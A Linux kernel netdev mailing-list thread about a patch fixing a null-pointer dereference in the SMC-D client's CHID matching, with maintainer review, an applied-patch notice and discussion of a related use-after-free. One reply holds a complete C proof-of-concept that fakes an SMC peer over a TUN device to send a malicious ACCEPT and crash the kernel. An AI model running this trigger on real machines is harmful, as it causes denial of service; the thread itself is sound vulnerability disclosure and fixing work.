* [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot
@ 2026-05-11 6:21 Xiang Mei
2026-05-11 6:28 ` Xiang Mei
` (3 more replies)
0 siblings, 4 replies; 7+ messages in thread
From: Xiang Mei @ 2026-05-11 6:21 UTC (permalink / raw)
To: netdev
Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390,
bestswngs, Xiang Mei
On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is
reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt()
populates V2 entries starting at index 1, so when no V1 device is
selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] ==
NULL and ism_chid[0] == 0.
smc_v2_determine_accepted_chid() then matches the peer's CHID against
the array starting from index 0 using the CHID alone. A malicious
peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches
the empty slot, ini->ism_selected becomes 0, and the subsequent
ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at
offsetof(struct smcd_dev, lgr_lock) == 0x68:
BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0
Write of size 4 at addr 0000000000000068 by task exploit/144
Call Trace:
_raw_spin_lock_bh
smc_conn_create (net/smc/smc_core.c:1997)
__smc_connect (net/smc/af_smc.c:1447)
smc_connect (net/smc/af_smc.c:1720)
__sys_connect
__x64_sys_connect
do_syscall_64
Require ism_dev[i] to be non-NULL before accepting a CHID match.
Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2")
Reported-by: Weiming Shi <bestswngs@gmail•com>
Assisted-by: Claude:claude-opus-4-7
Signed-off-by: Xiang Mei <xmei5@asu•edu>
---
net/smc/af_smc.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c
index 185dbed7de5d..12ea3b6dbc64 100644
--- a/net/smc/af_smc.c
+++ b/net/smc/af_smc.c
@@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc,
int i;
for (i = 0; i < ini->ism_offered_cnt + 1; i++) {
- if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
+ if (ini->ism_dev[i] &&
+ ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
ini->ism_selected = i;
return 0;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 7+ messages in thread* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei @ 2026-05-11 6:28 ` Xiang Mei 2026-05-14 10:19 ` Paolo Abeni ` (2 subsequent siblings) 3 siblings, 0 replies; 7+ messages in thread From: Xiang Mei @ 2026-05-11 6:28 UTC (permalink / raw) To: netdev Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs Thanks for your attention to this bug. Here are some resources to help you trigger the bug. Required key configs: ``` CONFIG_SMC=y CONFIG_DIBS=y CONFIG_DIBS_LO=y ``` Here is a PoC trigger that causes the intended crash shown in the commit message: ```c #define _GNU_SOURCE #include <arpa/inet.h> #include <endian.h> #include <fcntl.h> #include <linux/if_tun.h> #include <net/if.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <unistd.h> #define AF_SMC 43 static int tun_fd; static uint32_t my_ip, peer_ip; /* network byte order */ static const uint16_t PEER_PORT = 9999; static uint16_t csum(const void *p, int n, uint32_t s) { const uint16_t *q = p; while (n > 1) { s += *q++; n -= 2; } if (n) s += *(const uint8_t *)q; while (s >> 16) s = (s & 0xffff) + (s >> 16); return ~s; } static uint16_t tcp_csum(uint32_t sa, uint32_t da, const void *h, int n) { struct { uint32_t s, d; uint8_t z, p; uint16_t l; } __attribute__((packed)) ph = { sa, da, 0, IPPROTO_TCP, htons(n) }; uint32_t s = 0; for (unsigned i = 0; i < sizeof(ph) / 2; i++) s += ((uint16_t *)&ph)[i]; return csum(h, n, s); } /* Send IPv4+TCP packet on the TUN device. opt_len must be multiple of 4. */ static void tx(uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t flags, const void *opts, int opt_len, const void *payload, int plen) { uint8_t buf[2048] = {0}; int thlen = sizeof(struct tcphdr) + opt_len; int tcplen = thlen + plen; int iplen = sizeof(struct iphdr) + tcplen; struct iphdr *ip = (struct iphdr *)buf; struct tcphdr *th = (struct tcphdr *)(buf + sizeof(*ip)); ip->version = 4; ip->ihl = 5; ip->tot_len = htons(iplen); ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = peer_ip; ip->daddr = my_ip; ip->check = csum(ip, sizeof(*ip), 0); th->source = htons(sport); th->dest = htons(dport); th->seq = htonl(seq); th->ack_seq = htonl(ack); th->doff = thlen / 4; th->window = htons(65535); th->syn = !!(flags & 2); th->ack = !!(flags & 0x10); th->psh = !!(flags & 8); th->rst = !!(flags & 4); if (opt_len) memcpy(th + 1, opts, opt_len); if (plen) memcpy((uint8_t *)th + thlen, payload, plen); th->check = tcp_csum(peer_ip, my_ip, th, tcplen); if (write(tun_fd, buf, iplen) < 0) perror("tun write"); } /* TCP option: experimental, magic 0xE2D4C3D9 ("SMC"), len 6, + 2 NOPs. */ static const uint8_t SMC_OPT[8] = { 254, 6, 0xE2, 0xD4, 0xC3, 0xD9, 1, 1 }; /* Build the malicious 78-byte SMC-D V2 CLC ACCEPT with d1.chid = 0. */ static int build_accept(uint8_t out[78]) { memset(out, 0, 78); memcpy(out, "\xE2\xD4\xC3\xC4", 4); /* eyecatcher SMCD */ out[4] = 0x02; /* type = ACCEPT */ out[5] = 0x00; out[6] = 0x4E; /* length = 78 */ out[7] = (2 << 4) | 1; /* version=V2, typev1=SMC_TYPE_D */ /* d0.gid / d0.token: arbitrary; rest of d0/d1 zero (including d1.chid). */ memcpy(out + 74, "\xE2\xD4\xC3\xC4", 4); /* trailer eyecatcher */ return 78; } static void *responder(void *_) { uint8_t pkt[2048]; uint32_t srv = 0xC0DECAFE, cli = 0; uint16_t cport = 0; int handshake = 0, sent_accept = 0; while (1) { int n = read(tun_fd, pkt, sizeof(pkt)); if (n <= 0) continue; struct iphdr *ip = (struct iphdr *)pkt; struct tcphdr *th = (struct tcphdr *)(pkt + ip->ihl * 4); if (ip->protocol != IPPROTO_TCP || ntohs(th->dest) != PEER_PORT) continue; cport = ntohs(th->source); int plen = ntohs(ip->tot_len) - ip->ihl * 4 - th->doff * 4; if (th->syn && !th->ack) { /* SYN */ cli = ntohl(th->seq) + 1; tx(PEER_PORT, cport, srv, cli, 0x12, SMC_OPT, 8, NULL, 0); srv++; } else if (th->ack && !plen && !handshake) { /* SYN-ACK ACK */ handshake = 1; } else if (handshake && plen > 0 && !sent_accept) { /* CLC PROPOSAL */ cli = ntohl(th->seq) + plen; tx(PEER_PORT, cport, srv, cli, 0x10, NULL, 0, NULL, 0); uint8_t accept[78]; int alen = build_accept(accept); tx(PEER_PORT, cport, srv, cli, 0x18, NULL, 0, accept, alen); srv += alen; sent_accept = 1; } } } /* Bring up TUN with my_ip via ioctls (rootfs /sbin/ip is broken in repro). */ static void setup_tun(void) { struct ifreq ifr = {0}; ifr.ifr_flags = IFF_TUN | IFF_NO_PI; strncpy(ifr.ifr_name, "smc0", IFNAMSIZ - 1); tun_fd = open("/dev/net/tun", O_RDWR); if (tun_fd < 0 || ioctl(tun_fd, TUNSETIFF, &ifr) < 0) { perror("tun"); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in *sin = (struct sockaddr_in *)&ifr.ifr_addr; sin->sin_family = AF_INET; sin->sin_addr.s_addr = my_ip; ioctl(s, SIOCSIFADDR, &ifr); inet_pton(AF_INET, "255.255.255.0", &sin->sin_addr.s_addr); ioctl(s, SIOCSIFNETMASK, &ifr); ioctl(s, SIOCGIFFLAGS, &ifr); ifr.ifr_flags |= IFF_UP | IFF_RUNNING; ioctl(s, SIOCSIFFLAGS, &ifr); close(s); } int main(void) { inet_pton(AF_INET, "10.0.0.1", &my_ip); inet_pton(AF_INET, "10.0.0.2", &peer_ip); setup_tun(); pthread_t tid; pthread_create(&tid, NULL, responder, NULL); usleep(200 * 1000); int s = socket(AF_SMC, SOCK_STREAM, 0); if (s < 0) { perror("socket(AF_SMC)"); return 1; } struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(PEER_PORT), .sin_addr.s_addr = peer_ip }; fprintf(stderr, "[*] connecting AF_SMC ...\n"); connect(s, (struct sockaddr *)&sa, sizeof(sa)); /* expect: kernel oops */ sleep(5); return 0; } ``` Feel free to ask any questions to reproduce this issue. Thanks, Xiang On Sun, May 10, 2026 at 11:21 PM Xiang Mei <xmei5@asu•edu> wrote: > > On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is > reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() > populates V2 entries starting at index 1, so when no V1 device is > selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == > NULL and ism_chid[0] == 0. > > smc_v2_determine_accepted_chid() then matches the peer's CHID against > the array starting from index 0 using the CHID alone. A malicious > peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches > the empty slot, ini->ism_selected becomes 0, and the subsequent > ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at > offsetof(struct smcd_dev, lgr_lock) == 0x68: > > BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0 > Write of size 4 at addr 0000000000000068 by task exploit/144 > Call Trace: > _raw_spin_lock_bh > smc_conn_create (net/smc/smc_core.c:1997) > __smc_connect (net/smc/af_smc.c:1447) > smc_connect (net/smc/af_smc.c:1720) > __sys_connect > __x64_sys_connect > do_syscall_64 > > Require ism_dev[i] to be non-NULL before accepting a CHID match. > > Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2") > Reported-by: Weiming Shi <bestswngs@gmail•com> > Assisted-by: Claude:claude-opus-4-7 > Signed-off-by: Xiang Mei <xmei5@asu•edu> > --- > net/smc/af_smc.c | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c > index 185dbed7de5d..12ea3b6dbc64 100644 > --- a/net/smc/af_smc.c > +++ b/net/smc/af_smc.c > @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc, > int i; > > for (i = 0; i < ini->ism_offered_cnt + 1; i++) { > - if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > + if (ini->ism_dev[i] && > + ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > ini->ism_selected = i; > return 0; > } > -- > 2.43.0 > ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei 2026-05-11 6:28 ` Xiang Mei @ 2026-05-14 10:19 ` Paolo Abeni 2026-05-14 11:57 ` Dust Li 2026-05-14 10:40 ` patchwork-bot+netdevbpf 2026-05-14 11:54 ` Dust Li 3 siblings, 1 reply; 7+ messages in thread From: Paolo Abeni @ 2026-05-14 10:19 UTC (permalink / raw) To: Xiang Mei, netdev Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs On 5/11/26 8:21 AM, Xiang Mei wrote: > On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is > reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() > populates V2 entries starting at index 1, so when no V1 device is > selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == > NULL and ism_chid[0] == 0. > > smc_v2_determine_accepted_chid() then matches the peer's CHID against > the array starting from index 0 using the CHID alone. A malicious > peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches > the empty slot, ini->ism_selected becomes 0, and the subsequent > ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at > offsetof(struct smcd_dev, lgr_lock) == 0x68: > > BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0 > Write of size 4 at addr 0000000000000068 by task exploit/144 > Call Trace: > _raw_spin_lock_bh > smc_conn_create (net/smc/smc_core.c:1997) > __smc_connect (net/smc/af_smc.c:1447) > smc_connect (net/smc/af_smc.c:1720) > __sys_connect > __x64_sys_connect > do_syscall_64 > > Require ism_dev[i] to be non-NULL before accepting a CHID match. > > Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2") > Reported-by: Weiming Shi <bestswngs@gmail•com> > Assisted-by: Claude:claude-opus-4-7 > Signed-off-by: Xiang Mei <xmei5@asu•edu> > --- > net/smc/af_smc.c | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c > index 185dbed7de5d..12ea3b6dbc64 100644 > --- a/net/smc/af_smc.c > +++ b/net/smc/af_smc.c > @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc, > int i; > > for (i = 0; i < ini->ism_offered_cnt + 1; i++) { > - if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > + if (ini->ism_dev[i] && > + ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > ini->ism_selected = i; > return 0; > } Patch LGTM, thanks! @smc maintainers, please note that sashiko reviews: https://sashiko.dev/#/patchset/20260511062138.2839584-1-xmei5%40asu.edu pointed to another pre-existing issue in this area you may want to address. /P ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-14 10:19 ` Paolo Abeni @ 2026-05-14 11:57 ` Dust Li 2026-05-18 5:26 ` Xiang Mei 0 siblings, 1 reply; 7+ messages in thread From: Dust Li @ 2026-05-14 11:57 UTC (permalink / raw) To: Paolo Abeni, Xiang Mei, netdev Cc: alibuda, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs On 2026-05-14 12:19:46, Paolo Abeni wrote: >On 5/11/26 8:21 AM, Xiang Mei wrote: >> On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is >> reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() >> populates V2 entries starting at index 1, so when no V1 device is >> selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == >> NULL and ism_chid[0] == 0. >> >> smc_v2_determine_accepted_chid() then matches the peer's CHID against >> the array starting from index 0 using the CHID alone. A malicious >> peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches >> the empty slot, ini->ism_selected becomes 0, and the subsequent >> ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at >> offsetof(struct smcd_dev, lgr_lock) == 0x68: >> >> BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0 >> Write of size 4 at addr 0000000000000068 by task exploit/144 >> Call Trace: >> _raw_spin_lock_bh >> smc_conn_create (net/smc/smc_core.c:1997) >> __smc_connect (net/smc/af_smc.c:1447) >> smc_connect (net/smc/af_smc.c:1720) >> __sys_connect >> __x64_sys_connect >> do_syscall_64 >> >> Require ism_dev[i] to be non-NULL before accepting a CHID match. >> >> Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2") >> Reported-by: Weiming Shi <bestswngs@gmail•com> >> Assisted-by: Claude:claude-opus-4-7 >> Signed-off-by: Xiang Mei <xmei5@asu•edu> >> --- >> net/smc/af_smc.c | 3 ++- >> 1 file changed, 2 insertions(+), 1 deletion(-) >> >> diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c >> index 185dbed7de5d..12ea3b6dbc64 100644 >> --- a/net/smc/af_smc.c >> +++ b/net/smc/af_smc.c >> @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc, >> int i; >> >> for (i = 0; i < ini->ism_offered_cnt + 1; i++) { >> - if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) { >> + if (ini->ism_dev[i] && >> + ini->ism_chid[i] == ntohs(aclc->d1.chid)) { >> ini->ism_selected = i; >> return 0; >> } > >Patch LGTM, thanks! > >@smc maintainers, please note that sashiko reviews: > >https://sashiko.dev/#/patchset/20260511062138.2839584-1-xmei5%40asu.edu > >pointed to another pre-existing issue in this area you may want to address. > >/P I agree. Apologies, I overlooked your comments prior to replying to Xiang Mei's patch. Best regards, Dust ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-14 11:57 ` Dust Li @ 2026-05-18 5:26 ` Xiang Mei 0 siblings, 0 replies; 7+ messages in thread From: Xiang Mei @ 2026-05-18 5:26 UTC (permalink / raw) To: dust.li Cc: Paolo Abeni, netdev, alibuda, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs Thanks for the information. I just got back from a trip, and I'll send a v2 after checking the UAF issue. On Thu, May 14, 2026 at 4:57 AM Dust Li <dust.li@linux•alibaba.com> wrote: > > On 2026-05-14 12:19:46, Paolo Abeni wrote: > >On 5/11/26 8:21 AM, Xiang Mei wrote: > >> On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is > >> reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() > >> populates V2 entries starting at index 1, so when no V1 device is > >> selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == > >> NULL and ism_chid[0] == 0. > >> > >> smc_v2_determine_accepted_chid() then matches the peer's CHID against > >> the array starting from index 0 using the CHID alone. A malicious > >> peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches > >> the empty slot, ini->ism_selected becomes 0, and the subsequent > >> ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at > >> offsetof(struct smcd_dev, lgr_lock) == 0x68: > >> > >> BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0 > >> Write of size 4 at addr 0000000000000068 by task exploit/144 > >> Call Trace: > >> _raw_spin_lock_bh > >> smc_conn_create (net/smc/smc_core.c:1997) > >> __smc_connect (net/smc/af_smc.c:1447) > >> smc_connect (net/smc/af_smc.c:1720) > >> __sys_connect > >> __x64_sys_connect > >> do_syscall_64 > >> > >> Require ism_dev[i] to be non-NULL before accepting a CHID match. > >> > >> Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2") > >> Reported-by: Weiming Shi <bestswngs@gmail•com> > >> Assisted-by: Claude:claude-opus-4-7 > >> Signed-off-by: Xiang Mei <xmei5@asu•edu> > >> --- > >> net/smc/af_smc.c | 3 ++- > >> 1 file changed, 2 insertions(+), 1 deletion(-) > >> > >> diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c > >> index 185dbed7de5d..12ea3b6dbc64 100644 > >> --- a/net/smc/af_smc.c > >> +++ b/net/smc/af_smc.c > >> @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc, > >> int i; > >> > >> for (i = 0; i < ini->ism_offered_cnt + 1; i++) { > >> - if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > >> + if (ini->ism_dev[i] && > >> + ini->ism_chid[i] == ntohs(aclc->d1.chid)) { > >> ini->ism_selected = i; > >> return 0; > >> } > > > >Patch LGTM, thanks! > > > >@smc maintainers, please note that sashiko reviews: > > > >https://sashiko.dev/#/patchset/20260511062138.2839584-1-xmei5%40asu.edu > > > >pointed to another pre-existing issue in this area you may want to address. > > > >/P > > I agree. Apologies, I overlooked your comments prior to replying to > Xiang Mei's patch. > > Best regards, > Dust ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei 2026-05-11 6:28 ` Xiang Mei 2026-05-14 10:19 ` Paolo Abeni @ 2026-05-14 10:40 ` patchwork-bot+netdevbpf 2026-05-14 11:54 ` Dust Li 3 siblings, 0 replies; 7+ messages in thread From: patchwork-bot+netdevbpf @ 2026-05-14 10:40 UTC (permalink / raw) To: Xiang Mei Cc: netdev, alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs Hello: This patch was applied to netdev/net.git (main) by Paolo Abeni <pabeni@redhat•com>: On Sun, 10 May 2026 23:21:38 -0700 you wrote: > On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is > reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() > populates V2 entries starting at index 1, so when no V1 device is > selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == > NULL and ism_chid[0] == 0. > > smc_v2_determine_accepted_chid() then matches the peer's CHID against > the array starting from index 0 using the CHID alone. A malicious > peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches > the empty slot, ini->ism_selected becomes 0, and the subsequent > ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at > offsetof(struct smcd_dev, lgr_lock) == 0x68: > > [...] Here is the summary with links: - [net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot https://git.kernel.org/netdev/net/c/277740023def You are awesome, thank you! -- Deet-doot-dot, I am a bot. https://korg.docs.kernel.org/patchwork/pwbot.html ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot 2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei ` (2 preceding siblings ...) 2026-05-14 10:40 ` patchwork-bot+netdevbpf @ 2026-05-14 11:54 ` Dust Li 3 siblings, 0 replies; 7+ messages in thread From: Dust Li @ 2026-05-14 11:54 UTC (permalink / raw) To: Xiang Mei, netdev Cc: alibuda, sidraya, wenjia, ubraun, linux-rdma, linux-s390, bestswngs On 2026-05-10 23:21:38, Xiang Mei wrote: >On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is >reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt() >populates V2 entries starting at index 1, so when no V1 device is >selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] == >NULL and ism_chid[0] == 0. > >smc_v2_determine_accepted_chid() then matches the peer's CHID against >the array starting from index 0 using the CHID alone. A malicious >peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches >the empty slot, ini->ism_selected becomes 0, and the subsequent >ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at >offsetof(struct smcd_dev, lgr_lock) == 0x68: > > BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0 > Write of size 4 at addr 0000000000000068 by task exploit/144 > Call Trace: > _raw_spin_lock_bh > smc_conn_create (net/smc/smc_core.c:1997) > __smc_connect (net/smc/af_smc.c:1447) > smc_connect (net/smc/af_smc.c:1720) > __sys_connect > __x64_sys_connect > do_syscall_64 > >Require ism_dev[i] to be non-NULL before accepting a CHID match. > >Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2") >Reported-by: Weiming Shi <bestswngs@gmail•com> >Assisted-by: Claude:claude-opus-4-7 >Signed-off-by: Xiang Mei <xmei5@asu•edu> >--- > net/smc/af_smc.c | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > >diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c >index 185dbed7de5d..12ea3b6dbc64 100644 >--- a/net/smc/af_smc.c >+++ b/net/smc/af_smc.c >@@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc, > int i; > > for (i = 0; i < ini->ism_offered_cnt + 1; i++) { >- if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) { >+ if (ini->ism_dev[i] && >+ ini->ism_chid[i] == ntohs(aclc->d1.chid)) { I agree this can solve the bug you rised, but I also agree with shashiko's comments here, we should have a better solution solving this null-ptr-deref and use-after-free. Does this check leave us vulnerable to a use-after-free if the device is removed during the CLC handshake? smc_find_ism_v2_device_clnt() populates ini->ism_dev[i] with pointers to struct smcd_dev while holding the smcd_dev_list.mutex. However, it doesn't appear that struct smcd_dev has a reference counting mechanism. The client then drops the mutex and calls __smc_connect() -> smc_connect_clc(), which sleeps waiting for an ACCEPT message from the network peer. During this unbounded blocking wait, can the underlying ISM device be unregistered (e.g., via hardware unplug)? If smcd_unregister_dev() runs, it removes the device from the list and frees the memory using kfree(). It seems smc_smcd_terminate_all() only waits for fully established Link Groups, not for in-progress connection attempts. When the server accept message eventually arrives, ini->ism_dev[i] will still hold the dangling non-NULL pointer. This check evaluates to true, and the code will assign ini->ism_selected = i. Could this lead to smc_conn_create() actively dereferencing freed memory via &ini->ism_dev[ini->ism_selected]->lgr_lock? Best regards, Dust > ini->ism_selected = i; > return 0; > } >-- >2.43.0 ^ permalink raw reply [flat|nested] 7+ messages in thread
end of thread, other threads:[~2026-05-18 5:26 UTC | newest] Thread overview: 7+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei 2026-05-11 6:28 ` Xiang Mei 2026-05-14 10:19 ` Paolo Abeni 2026-05-14 11:57 ` Dust Li 2026-05-18 5:26 ` Xiang Mei 2026-05-14 10:40 ` patchwork-bot+netdevbpf 2026-05-14 11:54 ` Dust Li
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox